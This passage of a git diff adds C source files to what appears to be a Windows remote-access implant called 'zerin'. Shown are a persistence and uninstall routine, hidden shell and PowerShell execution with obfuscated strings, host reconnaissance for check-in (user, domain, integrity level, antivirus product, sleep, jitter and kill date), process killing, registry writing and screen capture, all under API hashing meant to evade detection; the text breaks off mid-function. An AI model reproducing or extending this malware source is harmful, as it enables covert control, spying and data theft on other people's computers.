si.wShowWindow = SW_HIDE; + memset(&pi, 0, sizeof(pi)); + CreateProcessA(NULL, cmd, NULL, NULL, FALSE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi); + if (pi.hProcess) CloseHandle(pi.hProcess); + if (pi.hThread) CloseHandle(pi.hThread); + } + + result->success = true; + result->output = _strdup(elevated + ? "OK: all methods removed, cleanup scheduled" + : "OK: user-level removed (admin skipped), cleanup scheduled"); + return 0; +} + +#else +// Non-Windows stubs +void persist_self_copy(zerin_config_t *cfg) { (void)cfg; } +void persist_auto_install(zerin_config_t *cfg) { (void)cfg; } +int cmd_uninstall(const task_t *task, task_result_t *result, char *cwd) { + (void)task; (void)cwd; + result->success = false; + result->error_message = _strdup("Not supported on this platform"); + return -1; +} +#endif diff --git a/src/commands/power.c b/src/commands/power.c new file mode 100755 index 0000000..5a0742e --- /dev/null +++ b/src/commands/power.c @@ -0,0 +1,106 @@ +#include "zerin.h" +#include +#include +#include + +/* ── cmd_restart ───────────────────────────────────────────────────── + * Restart the target machine. + * args[0] (optional): delay in seconds (default 0) + * args[1] (optional): reason message + * + * Uses InitiateSystemShutdownExW() instead of shelling out to + * shutdown.exe, eliminating the command injection vector on the + * reason parameter. + * ─────────────────────────────────────────────────────────────────── */ +int cmd_restart(const task_t *task, task_result_t *result, char *cwd) { + (void)cwd; + + int delay = 0; + const char *reason = "System maintenance"; + + if (task->num_args >= 1 && task->args[0]) + delay = atoi(task->args[0]); + if (task->num_args >= 2 && task->args[1]) + reason = task->args[1]; + + /* Convert reason from UTF-8 to wide string for Win32 API */ + wchar_t wreason[256]; + int wlen = MultiByteToWideChar(CP_UTF8, 0, reason, -1, wreason, + (int)(sizeof(wreason) / sizeof(wreason[0]))); + if (wlen == 0) { + wreason[0] = L'\0'; + } + + BOOL ok = InitiateSystemShutdownExW( + NULL, /* lpMachineName: NULL = local machine */ + wreason, /* lpMessage */ + (DWORD)delay, /* dwTimeout */ + TRUE, /* bForceAppsClosed */ + TRUE, /* bRebootAfterShutdown = TRUE for restart */ + SHTDN_REASON_MAJOR_OTHER | SHTDN_REASON_MINOR_OTHER /* dwReason */ + ); + + if (!ok) { + result->success = false; + result->error_code = (int32_t)GetLastError(); + result->error_message = _strdup("Failed to initiate restart"); + return -1; + } + + char msg[256]; + snprintf(msg, sizeof(msg), "Restart initiated (delay: %ds)", delay); + result->success = true; + result->output = _strdup(msg); + return 0; +} + +/* ── cmd_shutdown ──────────────────────────────────────────────────── + * Shut down the target machine. + * args[0] (optional): delay in seconds (default 0) + * args[1] (optional): reason message + * + * Uses InitiateSystemShutdownExW() instead of shelling out to + * shutdown.exe, eliminating the command injection vector on the + * reason parameter. + * ─────────────────────────────────────────────────────────────────── */ +int cmd_shutdown(const task_t *task, task_result_t *result, char *cwd) { + (void)cwd; + + int delay = 0; + const char *reason = "System maintenance"; + + if (task->num_args >= 1 && task->args[0]) + delay = atoi(task->args[0]); + if (task->num_args >= 2 && task->args[1]) + reason = task->args[1]; + + /* Convert reason from UTF-8 to wide string for Win32 API */ + wchar_t wreason[256]; + int wlen = MultiByteToWideChar(CP_UTF8, 0, reason, -1, wreason, + (int)(sizeof(wreason) / sizeof(wreason[0]))); + if (wlen == 0) { + wreason[0] = L'\0'; + } + + BOOL ok = InitiateSystemShutdownExW( + NULL, /* lpMachineName: NULL = local machine */ + wreason, /* lpMessage */ + (DWORD)delay, /* dwTimeout */ + TRUE, /* bForceAppsClosed */ + FALSE, /* bRebootAfterShutdown = FALSE for shutdown */ + SHTDN_REASON_MAJOR_OTHER | SHTDN_REASON_MINOR_OTHER /* dwReason */ + ); + + if (!ok) { + result->success = false; + result->error_code = (int32_t)GetLastError(); + result->error_message = _strdup("Failed to initiate shutdown"); + return -1; + } + + char msg[256]; + snprintf(msg, sizeof(msg), "Shutdown initiated (delay: %ds)", delay); + result->success = true; + result->output = _strdup(msg); + return 0; +} diff --git a/src/commands/powershell.c b/src/commands/powershell.c new file mode 100755 index 0000000..cc6908c --- /dev/null +++ b/src/commands/powershell.c @@ -0,0 +1,163 @@ +#include "zerin.h" +#include "obf_strings_gen.h" +#include +#include +#include + +int cmd_powershell(const task_t *task, task_result_t *result, char *cwd) { + if (task->num_args < 1 || !task->args[0]) { + result->success = false; + result->error_code = 1; + result->error_message = _strdup("No command specified"); + return -1; + } + + // Build command line with decrypted prefix + char prefix[128]; + obf_decrypt_to(OBF_PS_PREFIX, prefix, sizeof(prefix)); + size_t cmd_len = strlen(prefix); + for (uint32_t i = 0; i < task->num_args; i++) + cmd_len += strlen(task->args[i]) + 1; + + char *cmdline = (char *)malloc(cmd_len + 1); + if (!cmdline) { obf_wipe(prefix, sizeof(prefix)); result->error_code = -1; return -1; } + + int pos = snprintf(cmdline, cmd_len + 1, "%s", prefix); + obf_wipe(prefix, sizeof(prefix)); + for (uint32_t i = 0; i < task->num_args; i++) { + pos += snprintf(cmdline + pos, cmd_len + 1 - (size_t)pos, "%s", task->args[i]); + if (i < task->num_args - 1 && (size_t)pos < cmd_len) + pos += snprintf(cmdline + pos, cmd_len + 1 - (size_t)pos, " "); + } + + // Create pipes for stdout/stderr + SECURITY_ATTRIBUTES sa = { sizeof(sa), NULL, TRUE }; + HANDLE stdout_read = NULL, stdout_write = NULL; + HANDLE stderr_read = NULL, stderr_write = NULL; + + if (!CreatePipe(&stdout_read, &stdout_write, &sa, 0)) { + free(cmdline); + result->success = false; + result->error_code = GetLastError(); + result->error_message = _strdup("Failed to create stdout pipe"); + return -1; + } + if (!CreatePipe(&stderr_read, &stderr_write, &sa, 0)) { + CloseHandle(stdout_read); + CloseHandle(stdout_write); + free(cmdline); + result->success = false; + result->error_code = GetLastError(); + result->error_message = _strdup("Failed to create stderr pipe"); + return -1; + } + + SetHandleInformation(stdout_read, HANDLE_FLAG_INHERIT, 0); + SetHandleInformation(stderr_read, HANDLE_FLAG_INHERIT, 0); + + STARTUPINFOA si; + PROCESS_INFORMATION pi; + memset(&si, 0, sizeof(si)); + memset(&pi, 0, sizeof(pi)); + si.cb = sizeof(si); + si.dwFlags = STARTF_USESTDHANDLES; + si.hStdOutput = stdout_write; + si.hStdError = stderr_write; + si.hStdInput = NULL; + + BOOL created = CreateProcessA( + NULL, cmdline, NULL, NULL, TRUE, + CREATE_NO_WINDOW, NULL, cwd[0] ? cwd : NULL, + &si, &pi + ); + + free(cmdline); + CloseHandle(stdout_write); + CloseHandle(stderr_write); + + if (!created) { + CloseHandle(stdout_read); + CloseHandle(stderr_read); + result->success = false; + result->error_code = GetLastError(); + result->error_message = _strdup("Failed to create process"); + return -1; + } + + // Read stdout BEFORE waiting — avoids pipe-buffer deadlock when + // the child produces more output than the anonymous pipe can hold. + size_t output_cap = 4096; + size_t output_len = 0; + char *output = (char *)malloc(output_cap); + if (!output) { + CloseHandle(stdout_read); + CloseHandle(stderr_read); + TerminateProcess(pi.hProcess, 1); + CloseHandle(pi.hProcess); + CloseHandle(pi.hThread); + return -1; + } + + DWORD bytes_read; + while (ReadFile(stdout_read, output + output_len, + (DWORD)(output_cap - output_len - 1), &bytes_read, NULL) && bytes_read > 0) { + output_len += bytes_read; + if (output_len + 1024 >= output_cap) { + output_cap *= 2; + char *new_out = (char *)realloc(output, output_cap); + if (!new_out) break; + output = new_out; + } + } + + // Read stderr and append + while (ReadFile(stderr_read, output + output_len, + (DWORD)(output_cap - output_len - 1), &bytes_read, NULL) && bytes_read > 0) { + output_len += bytes_read; + if (output_len + 1024 >= output_cap) { + output_cap *= 2; + char *new_out = (char *)realloc(output, output_cap); + if (!new_out) break; + output = new_out; + } + } + + output[output_len] = '\0'; + + // Now wait for process exit (pipe EOF means child closed its handles) + // Cast to uint64_t before multiplying to prevent 32-bit overflow, + // then cap at UINT32_MAX (maximum DWORD value for WaitForSingleObject). + DWORD timeout_ms; + if (task->timeout > 0) { + uint64_t ms64 = (uint64_t)task->timeout * 1000; + timeout_ms = (ms64 > UINT32_MAX) ? UINT32_MAX : (DWORD)ms64; + } else { + timeout_ms = 60000; + } + DWORD wait = WaitForSingleObject(pi.hProcess, timeout_ms); + + if (wait == WAIT_TIMEOUT) { + TerminateProcess(pi.hProcess, 1); + WaitForSingleObject(pi.hProcess, 1000); + } + + DWORD exit_code = 0; + GetExitCodeProcess(pi.hProcess, &exit_code); + + CloseHandle(stdout_read); + CloseHandle(stderr_read); + CloseHandle(pi.hProcess); + CloseHandle(pi.hThread); + + result->success = (exit_code == 0 && wait != WAIT_TIMEOUT); + result->output = output; + result->data = NULL; + result->data_len = 0; + result->error_code = (int32_t)exit_code; + result->error_message = NULL; + if (wait == WAIT_TIMEOUT) { + result->error_message = _strdup("Command timed out"); + } + + return 0; +} diff --git a/src/commands/recon.c b/src/commands/recon.c new file mode 100755 index 0000000..9f025a8 --- /dev/null +++ b/src/commands/recon.c @@ -0,0 +1,316 @@ +#include "zerin.h" +#include +#include +#include + +// Types for dynamic netapi32.dll calls (avoids lm.h dependency) +typedef unsigned long NET_API_STATUS; +typedef enum { + NetSetupUnknownStatus = 0, + NetSetupUnjoined, + NetSetupWorkgroupName, + NetSetupDomainName +} NETSETUP_JOIN_STATUS, *PNETSETUP_JOIN_STATUS; + +// Get the integrity level of the current process +static uint32_t get_integrity_level(void) { + HANDLE token; + if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &token)) + return 2; // default Medium + + DWORD len = 0; + GetTokenInformation(token, TokenIntegrityLevel, NULL, 0, &len); + if (len == 0) { CloseHandle(token); return 2; } + + TOKEN_MANDATORY_LABEL *tml = (TOKEN_MANDATORY_LABEL *)malloc(len); + if (!tml) { CloseHandle(token); return 2; } + + uint32_t level = 2; + if (GetTokenInformation(token, TokenIntegrityLevel, tml, len, &len)) { + DWORD rid = *GetSidSubAuthority(tml->Label.Sid, + (DWORD)(UCHAR)(*GetSidSubAuthorityCount(tml->Label.Sid) - 1)); + if (rid >= SECURITY_MANDATORY_SYSTEM_RID) level = 4; + else if (rid >= SECURITY_MANDATORY_HIGH_RID) level = 3; + else if (rid >= SECURITY_MANDATORY_MEDIUM_RID) level = 2; + else if (rid >= SECURITY_MANDATORY_LOW_RID) level = 1; + else level = 0; + } + + free(tml); + CloseHandle(token); + return level; +} + +// Check if running elevated (admin) +bool is_elevated(void) { + BOOL elevated = FALSE; + HANDLE token; + if (OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &token)) { + TOKEN_ELEVATION elev; + DWORD size; + if (GetTokenInformation(token, TokenElevation, &elev, sizeof(elev), &size)) + elevated = elev.TokenIsElevated; + CloseHandle(token); + } + return elevated ? true : false; +} + +// Get internal IP address +static void get_internal_ip(char *ip, size_t ip_len) { + strncpy(ip, "0.0.0.0", ip_len); + + ULONG buf_len = 0; + if (GetAdaptersInfo(NULL, &buf_len) != ERROR_BUFFER_OVERFLOW) return; + + IP_ADAPTER_INFO *adapters = (IP_ADAPTER_INFO *)malloc(buf_len); + if (!adapters) return; + + if (GetAdaptersInfo(adapters, &buf_len) == NO_ERROR) { + for (IP_ADAPTER_INFO *a = adapters; a; a = a->Next) { + const char *addr = a->IpAddressList.IpAddress.String; + if (strcmp(addr, "0.0.0.0") != 0 && strcmp(addr, "127.0.0.1") != 0) { + strncpy(ip, addr, ip_len); + break; + } + } + } + free(adapters); +} + +// Get OS version string +static void get_os_version(char *version, size_t len) { + typedef NTSTATUS (NTAPI *RtlGetVersionFn)(PRTL_OSVERSIONINFOW); + RTL_OSVERSIONINFOW vi; + vi.dwOSVersionInfoSize = sizeof(vi); + + { + RtlGetVersionFn fn = RESOLVE_API(HASH_NTDLL, HASH_RtlGetVersion, RtlGetVersionFn); + if (fn && fn(&vi) == 0) { + snprintf(version, len, "Windows %lu.%lu Build %lu", + vi.dwMajorVersion, vi.dwMinorVersion, vi.dwBuildNumber); + return; + } + } + strncpy(version, "Windows (unknown)", len); +} + +int recon_gather_checkin(checkin_t *ci, const char *agent_id, + uint32_t sleep_interval, uint32_t jitter_percent, + int64_t kill_date) { + memset(ci, 0, sizeof(*ci)); + strncpy(ci->agent_id, agent_id, 36); + + // Hostname + DWORD size = sizeof(ci->hostname); + GetComputerNameA(ci->hostname, &size); + + // Username + size = sizeof(ci->username); + GetUserNameA(ci->username, &size); + + // Domain + NETSETUP_JOIN_STATUS join_status; + typedef NET_API_STATUS (WINAPI *NetGetJoinInformationFn)(LPCWSTR, LPWSTR*, PNETSETUP_JOIN_STATUS); + char netapi_buf[32]; + obf_decrypt_to(OBF_NETAPI32, netapi_buf, sizeof(netapi_buf)); + HMODULE netapi = LoadLibraryA(netapi_buf); + obf_wipe(netapi_buf, sizeof(netapi_buf)); + if (netapi) { + NetGetJoinInformationFn fn = (NetGetJoinInformationFn)GetProcAddress(netapi, "NetGetJoinInformation"); + if (fn) { + LPWSTR domain_name = NULL; + if (fn(NULL, &domain_name, &join_status) == 0 && domain_name) { + WideCharToMultiByte(CP_UTF8, 0, domain_name, -1, ci->domain, 256, NULL, NULL); + // NetApiBufferFree + typedef NET_API_STATUS (WINAPI *NetApiBufferFreeFn)(LPVOID); + NetApiBufferFreeFn free_fn = (NetApiBufferFreeFn)GetProcAddress(netapi, "NetApiBufferFree"); + if (free_fn) free_fn(domain_name); + } + } + FreeLibrary(netapi); + } + + // Internal IP + get_internal_ip(ci->internal_ip, sizeof(ci->internal_ip)); + + // PID / PPID + ci->pid = GetCurrentProcessId(); + // Get PPID via NtQueryInformationProcess or snapshot + HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); + if (snap != INVALID_HANDLE_VALUE) { + PROCESSENTRY32 pe; + pe.dwSize = sizeof(pe); + if (Process32First(snap, &pe)) { + do { + if (pe.th32ProcessID == ci->pid) { + ci->ppid = pe.th32ParentProcessID; + break; + } + } while (Process32Next(snap, &pe)); + } + CloseHandle(snap); + } + + // OS version + get_os_version(ci->os_version, sizeof(ci->os_version)); + + // Architecture + SYSTEM_INFO sysinfo; + GetNativeSystemInfo(&sysinfo); + if (sysinfo.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_AMD64) + strncpy(ci->arch, "x64", 7); + else if (sysinfo.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_INTEL) + strncpy(ci->arch, "x86", 7); + else if (sysinfo.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_ARM64) + strncpy(ci->arch, "arm64", 7); + else { + strncpy(ci->arch, "unknown", sizeof(ci->arch) - 1); + ci->arch[sizeof(ci->arch) - 1] = '\0'; + } + + // Process name + GetModuleFileNameA(NULL, ci->process_name, sizeof(ci->process_name)); + // Extract just the filename + char *last_slash = strrchr(ci->process_name, '\\'); + if (last_slash) { + memmove(ci->process_name, last_slash + 1, + strlen(last_slash + 1) + 1); + } + + ci->elevated = is_elevated(); + ci->integrity_level = get_integrity_level(); + ci->sleep_interval = sleep_interval; + ci->jitter_percent = jitter_percent; + ci->kill_date = kill_date; + + // AV product + get_av_product(ci->av_product, sizeof(ci->av_product)); + + return 0; +} + +int cmd_whoami(const task_t *task, task_result_t *result, char *cwd) { + (void)task; (void)cwd; + + char username[256] = {0}; + char hostname[256] = {0}; + DWORD usize = sizeof(username), hsize = sizeof(hostname); + + GetUserNameA(username, &usize); + GetComputerNameA(hostname, &hsize); + + uint32_t integrity = get_integrity_level(); + bool elevated = is_elevated(); + const char *integrity_str; + switch (integrity) { + case 0: integrity_str = "Untrusted"; break; + case 1: integrity_str = "Low"; break; + case 2: integrity_str = "Medium"; break; + case 3: integrity_str = "High"; break; + case 4: integrity_str = "System"; break; + default: integrity_str = "Unknown"; break; + } + + char *output = (char *)malloc(1024); + if (!output) return -1; + + snprintf(output, 1024, + "%s\\%s\nIntegrity: %s\nElevated: %s", + hostname, username, integrity_str, + elevated ? "Yes" : "No"); + + result->success = true; + result->output = output; + return 0; +} + +int cmd_kill(const task_t *task, task_result_t *result, char *cwd) { + (void)cwd; + + if (task->num_args < 1 || !task->args[0]) { + result->success = false; + result->error_code = 1; + result->error_message = _strdup("No PID specified"); + return -1; + } + + DWORD pid = (DWORD)strtoul(task->args[0], NULL, 10); + if (pid == 0) { + result->success = false; + result->error_code = 1; + result->error_message = _strdup("Invalid PID"); + return -1; + } + + HANDLE hProcess = OpenProcess(PROCESS_TERMINATE, FALSE, pid); + if (!hProcess) { + result->success = false; + result->error_code = GetLastError(); + result->error_message = _strdup("Failed to open process"); + return -1; + } + + if (!TerminateProcess(hProcess, 1)) { + result->success = false; + result->error_code = GetLastError(); + result->error_message = _strdup("Failed to terminate process"); + CloseHandle(hProcess); + return -1; + } + + CloseHandle(hProcess); + + char *output = (char *)malloc(128); + if (output) { + snprintf(output, 128, "Process %lu terminated successfully", (unsigned long)pid); + } + + result->success = true; + result->output = output; + return 0; +} + +int cmd_ps(const task_t *task, task_result_t *result, char *cwd) { + (void)task; (void)cwd; + + HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); + if (snap == INVALID_HANDLE_VALUE) { + result->success = false; + result->error_code = GetLastError(); + result->error_message = _strdup("Failed to create snapshot"); + return -1; + } + + size_t cap = 8192; + size_t len = 0; + char *output = (char *)malloc(cap); + if (!output) { CloseHandle(snap); return -1; } + + len += snprintf(output + len, cap - len, "%-8s %-8s %-4s %s\n", + "PID", "PPID", "THR", "NAME"); + len += snprintf(output + len, cap - len, + "-------- -------- ---- ----\n"); + + PROCESSENTRY32 pe; + pe.dwSize = sizeof(pe); + if (Process32First(snap, &pe)) { + do { + if (len + 512 >= cap) { + cap *= 2; + char *new_out = (char *)realloc(output, cap); + if (!new_out) break; + output = new_out; + } + len += snprintf(output + len, cap - len, "%-8lu %-8lu %-4lu %s\n", + pe.th32ProcessID, pe.th32ParentProcessID, + pe.cntThreads, pe.szExeFile); + } while (Process32Next(snap, &pe)); + } + + CloseHandle(snap); + output[len] = '\0'; + + result->success = true; + result->output = output; + return 0; +} diff --git a/src/commands/registry.c b/src/commands/registry.c new file mode 100755 index 0000000..61124ce --- /dev/null +++ b/src/commands/registry.c @@ -0,0 +1,199 @@ +#include "zerin.h" +#include +#include +#include + +#ifdef _WIN32 + +// Parse a root key name to its HKEY constant. +static HKEY parse_root_key(const char *path, const char **subpath) { + if (strncmp(path, "HKLM\\", 5) == 0 || strncmp(path, "HKEY_LOCAL_MACHINE\\", 19) == 0) { + *subpath = strchr(path, '\\') + 1; + return HKEY_LOCAL_MACHINE; + } + if (strncmp(path, "HKCU\\", 5) == 0 || strncmp(path, "HKEY_CURRENT_USER\\", 18) == 0) { + *subpath = strchr(path, '\\') + 1; + return HKEY_CURRENT_USER; + } + if (strncmp(path, "HKCR\\", 5) == 0 || strncmp(path, "HKEY_CLASSES_ROOT\\", 18) == 0) { + *subpath = strchr(path, '\\') + 1; + return HKEY_CLASSES_ROOT; + } + if (strncmp(path, "HKU\\", 4) == 0 || strncmp(path, "HKEY_USERS\\", 11) == 0) { + *subpath = strchr(path, '\\') + 1; + return HKEY_USERS; + } + if (strncmp(path, "HKCC\\", 5) == 0 || strncmp(path, "HKEY_CURRENT_CONFIG\\", 20) == 0) { + *subpath = strchr(path, '\\') + 1; + return HKEY_CURRENT_CONFIG; + } + *subpath = NULL; + return NULL; +} + +static const char *reg_type_name(DWORD type) { + switch (type) { + case REG_SZ: return "REG_SZ"; + case REG_EXPAND_SZ: return "REG_EXPAND_SZ"; + case REG_DWORD: return "REG_DWORD"; + case REG_QWORD: return "REG_QWORD"; + case REG_BINARY: return "REG_BINARY"; + case REG_MULTI_SZ: return "REG_MULTI_SZ"; + default: return "UNKNOWN"; + } +} + +int cmd_reg_read(const task_t *task, task_result_t *result, char *cwd) { + HKEY root; + HKEY hkey = NULL; + const char *subpath = NULL; + LONG status; + size_t cap = 4096; + size_t len = 0; + char *output = NULL; + + (void)cwd; + + if (task->num_args < 1 || !task->args[0]) { + result->success = false; + result->error_message = _strdup("Usage: reg_read [value_name]"); + return -1; + } + + root = parse_root_key(task->args[0], &subpath); + if (!root || !subpath) { + result->success = false; + result->error_message = _strdup("Invalid registry path. Use HKLM\\, HKCU\\, etc."); + return -1; + } + + status = RegOpenKeyExA(root, subpath, 0, KEY_READ, &hkey); + if (status != ERROR_SUCCESS) { + result->success = false; + result->error_code = (int32_t)status; + result->error_message = _strdup("Failed to open registry key"); + return -1; + } + + output = (char *)malloc(cap); + if (!output) { RegCloseKey(hkey); return -1; } + + if (task->num_args >= 2 && task->args[1]) { + // Read a specific value + DWORD type = 0; + DWORD data_size = 0; + RegQueryValueExA(hkey, task->args[1], NULL, &type, NULL, &data_size); + + if (data_size > 0) { + uint8_t *data = (uint8_t *)malloc(data_size); + if (data && RegQueryValueExA(hkey, task->args[1], NULL, &type, + data, &data_size) == ERROR_SUCCESS) { + len += snprintf(output + len, cap - len, + "%s (%s) = ", task->args[1], reg_type_name(type)); + if (type == REG_SZ || type == REG_EXPAND_SZ) { + len += snprintf(output + len, cap - len, "%s\n", (char *)data); + } else if (type == REG_DWORD && data_size >= 4) { + len += snprintf(output + len, cap - len, "%lu\n", + *(unsigned long *)data); + } else { + DWORD j; + for (j = 0; j < data_size && len + 4 < cap; j++) + len += snprintf(output + len, cap - len, "%02X ", data[j]); + len += snprintf(output + len, cap - len, "\n"); + } + } + if (data) free(data); + } else { + len += snprintf(output + len, cap - len, "Value not found\n"); + } + } else { + // Enumerate all values + DWORD index = 0; + char value_name[256]; + DWORD name_size; + DWORD type; + + len += snprintf(output + len, cap - len, + "Values in %s:\n\n", task->args[0]); + + for (;;) { + name_size = sizeof(value_name); + status = RegEnumValueA(hkey, index, value_name, &name_size, + NULL, &type, NULL, NULL); + if (status != ERROR_SUCCESS) break; + + if (len + 512 >= cap) { + cap *= 2; + char *new_out = (char *)realloc(output, cap); + if (!new_out) break; + output = new_out; + } + + len += snprintf(output + len, cap - len, + " [%s] %s\n", reg_type_name(type), value_name); + index++; + } + + if (index == 0) { + len += snprintf(output + len, cap - len, " (no values)\n"); + } + } + + RegCloseKey(hkey); + output[len] = '\0'; + result->success = true; + result->output = output; + return 0; +} + +int cmd_reg_write(const task_t *task, task_result_t *result, char *cwd) { + HKEY root; + HKEY hkey = NULL; + const char *subpath = NULL; + LONG status; + + (void)cwd; + + if (task->num_args < 3 || !task->args[0] || !task->args[1] || !task->args[2]) { + result->success = false; + result->error_message = _strdup("Usage: reg_write "); + return -1; + } + + root = parse_root_key(task->args[0], &subpath); + if (!root || !subpath) { + result->success = false; + result->error_message = _strdup("Invalid registry path"); + return -1; + } + + status = RegCreateKeyExA(root, subpath, 0, NULL, 0, + KEY_WRITE, NULL, &hkey, NULL); + if (status != ERROR_SUCCESS) { + result->success = false; + result->error_code = (int32_t)status; + result->error_message = _strdup("Failed to create/open registry key"); + return -1; + } + + status = RegSetValueExA(hkey, task->args[1], 0, REG_SZ, + (const BYTE *)task->args[2], + (DWORD)(strlen(task->args[2]) + 1)); + RegCloseKey(hkey); + + if (status != ERROR_SUCCESS) { + result->success = false; + result->error_code = (int32_t)status; + result->error_message = _strdup("Failed to set registry value"); + return -1; + } + + char msg[512]; + snprintf(msg, sizeof(msg), "Set %s\\%s = %s", + task->args[0], task->args[1], task->args[2]); + result->success = true; + result->output = _strdup(msg); + return 0; +} + +#endif // _WIN32 diff --git a/src/commands/screenshot.c b/src/commands/screenshot.c new file mode 100755 index 0000000..823a4b7 --- /dev/null +++ b/src/commands/screenshot.c @@ -0,0 +1,122 @@ +#include "zerin.h" +#include +#include +#include + +#ifdef _WIN32 +#pragma comment(lib, "gdi32.lib") + +int cmd_screenshot(const task_t *task, task_result_t *result, char *cwd) { + HDC hdc_screen = NULL; + HDC hdc_mem = NULL; + HBITMAP hbm = NULL; + HBITMAP hbm_old = NULL; + uint8_t *pixels = NULL; + uint8_t *bmp_data = NULL; + int ret = -1; + int width, height; + DWORD pixel_size, bmp_size; + BITMAPINFOHEADER bi; + BITMAPFILEHEADER bf; + + (void)task; (void)cwd; + + // Get screen dimensions + width = GetSystemMetrics(SM_CXSCREEN); + height = GetSystemMetrics(SM_CYSCREEN); + + if (width <= 0 || height <= 0) { + result->success = false; + result->error_code = -1; + result->error_message = _strdup("Failed to get screen dimensions"); + return -1; + } + + // Create compatible DC and bitmap + hdc_screen = GetDC(NULL); + if (!hdc_screen) goto fail; + + hdc_mem = CreateCompatibleDC(hdc_screen); + if (!hdc_mem) goto fail; + + hbm = CreateCompatibleBitmap(hdc_screen, width, height); + if (!hbm) goto fail; + + hbm_old = (HBITMAP)SelectObject(hdc_mem, hbm); + + // Copy screen to bitmap + if (!BitBlt(hdc_mem, 0, 0, width, height, hdc_screen, 0, 0, SRCCOPY)) goto fail; + + SelectObject(hdc_mem, hbm_old); + + // Set up BITMAPINFOHEADER + memset(&bi, 0, sizeof(bi)); + bi.biSize = sizeof(BITMAPINFOHEADER); + bi.biWidth = width; + bi.biHeight = height; + bi.biPlanes = 1; + bi.biBitCount = 24; + bi.biCompression = BI_RGB; + + // Calculate sizes (rows padded to 4-byte boundary) + DWORD row_size = ((width * 3 + 3) & ~3); + // Guard against integer overflow in pixel_size = row_size * height + if (row_size > 0 && (DWORD)height > UINT_MAX / row_size) { + result->success = false; + result->error_code = -1; + result->error_message = _strdup("Screen dimensions too large (overflow)"); + goto cleanup; + } + pixel_size = row_size * (DWORD)height; + bmp_size = sizeof(BITMAPFILEHEADER) + sizeof(BITMAPINFOHEADER) + pixel_size; + + pixels = (uint8_t *)malloc(pixel_size); + if (!pixels) goto fail; + + // Get the pixel data + if (!GetDIBits(hdc_mem, hbm, 0, (UINT)height, pixels, + (BITMAPINFO *)&bi, DIB_RGB_COLORS)) goto fail; + + // Build BMP file in memory + bmp_data = (uint8_t *)malloc(bmp_size); + if (!bmp_data) goto fail; + + memset(&bf, 0, sizeof(bf)); + bf.bfType = 0x4D42; // "BM" + bf.bfSize = bmp_size; + bf.bfOffBits = sizeof(BITMAPFILEHEADER) + sizeof(BITMAPINFOHEADER); + + memcpy(bmp_data, &bf, sizeof(bf)); + memcpy(bmp_data + sizeof(bf), &bi, sizeof(bi)); + memcpy(bmp_data + sizeof(bf) + sizeof(bi), pixels, pixel_size); + + // Set result + result->success = true; + result->data = bmp_data; + result->data_len = bmp_size; + bmp_data = NULL; // ownership transferred + + { + char msg[128]; + snprintf(msg, sizeof(msg), "OK (%dx%d, %lu bytes)", + width, height, (unsigned long)bmp_size); + result->output = _strdup(msg); + } + ret = 0; + goto cleanup; + +fail: + result->success = false; + result->error_code = (int32_t)GetLastError(); + result->error_message = _strdup("ERR 901: failed"); + +cleanup: + if (pixels) free(pixels); + if (bmp_data) free(bmp_data); + if (hbm) DeleteObject(hbm); + if (hdc_mem) DeleteDC(hdc_mem); + if (hdc_screen) ReleaseDC(NULL, hdc_screen); + return ret; +} + +#endif // _WIN32 diff --git a/src/commands/shell.c b/src/commands/shell.c new file mode 100755 index 0000000..c779c54 --- /dev/null +++ b/src/commands/shell.c @@ -0,0 +1,160 @@ +#include "zerin.h" +#include +#include +#include + +int cmd_shell(const task_t *task, task_result_t *result, char *cwd) { + if (task->num_args < 1 || !task->args[0]) { + result->success = false; + result->error_code = 1; + result->error_message = _strdup("No command specified"); + return -1; + } + + // Build command line: cmd.exe /c + size_t cmd_len = 11; // strlen("cmd.exe /c ") + for (uint32_t i = 0; i < task->num_args; i++) + cmd_len += strlen(task->args[i]) + 1; + + char *cmdline = (char *)malloc(cmd_len + 1); + if (!cmdline) { result->error_code = -1; return -1; } + + int pos = snprintf(cmdline, cmd_len + 1, "cmd.exe /c "); + for (uint32_t i = 0; i < task->num_args; i++) { + pos += snprintf(cmdline + pos, cmd_len + 1 - (size_t)pos, "%s", task->args[i]); + if (i < task->num_args - 1 && (size_t)pos < cmd_len) + pos += snprintf(cmdline + pos, cmd_len + 1 - (size_t)pos, " "); + } + + // Create pipes for stdout/stderr + SECURITY_ATTRIBUTES sa = { sizeof(sa), NULL, TRUE }; + HANDLE stdout_read = NULL, stdout_write = NULL; + HANDLE stderr_read = NULL, stderr_write = NULL; + + if (!CreatePipe(&stdout_read, &stdout_write, &sa, 0)) { + free(cmdline); + result->success = false; + result->error_code = GetLastError(); + result->error_message = _strdup("Failed to create stdout pipe"); + return -1; + } + if (!CreatePipe(&stderr_read, &stderr_write, &sa, 0)) { + CloseHandle(stdout_read); + CloseHandle(stdout_write); + free(cmdline); + result->success = false; + result->error_code = GetLastError(); + result->error_message = _strdup("Failed to create stderr pipe"); + return -1; + } + + // Don't inherit read ends + SetHandleInformation(stdout_read, HANDLE_FLAG_INHERIT, 0); + SetHandleInformation(stderr_read, HANDLE_FLAG_INHERIT, 0); + + STARTUPINFOA si; + PROCESS_INFORMATION pi; + memset(&si, 0, sizeof(si)); + memset(&pi, 0, sizeof(pi)); + si.cb = sizeof(si); + si.dwFlags = STARTF_USESTDHANDLES; + si.hStdOutput = stdout_write; + si.hStdError = stderr_write; + si.hStdInput = NULL; + + BOOL created = CreateProcessA( + NULL, cmdline, NULL, NULL, TRUE, + CREATE_NO_WINDOW, NULL, cwd[0] ? cwd : NULL, + &si, &pi + ); + + free(cmdline); + CloseHandle(stdout_write); + CloseHandle(stderr_write); + + if (!created) { + CloseHandle(stdout_read); + CloseHandle(stderr_read); + result->success = false; + result->error_code = GetLastError(); + result->error_message = _strdup("Failed to create process"); + return -1; + } + + // Read stdout BEFORE waiting — avoids pipe-buffer deadlock when + // the child produces more output than the anonymous pipe can hold. + size_t output_cap = 4096; + size_t output_len = 0; + char *output = (char *)malloc(output_cap); + if (!output) { + CloseHandle(stdout_read); + CloseHandle(stderr_read); + TerminateProcess(pi.hProcess, 1); + CloseHandle(pi.hProcess); + CloseHandle(pi.hThread); + return -1; + } + + DWORD bytes_read; + while (ReadFile(stdout_read, output + output_len, + 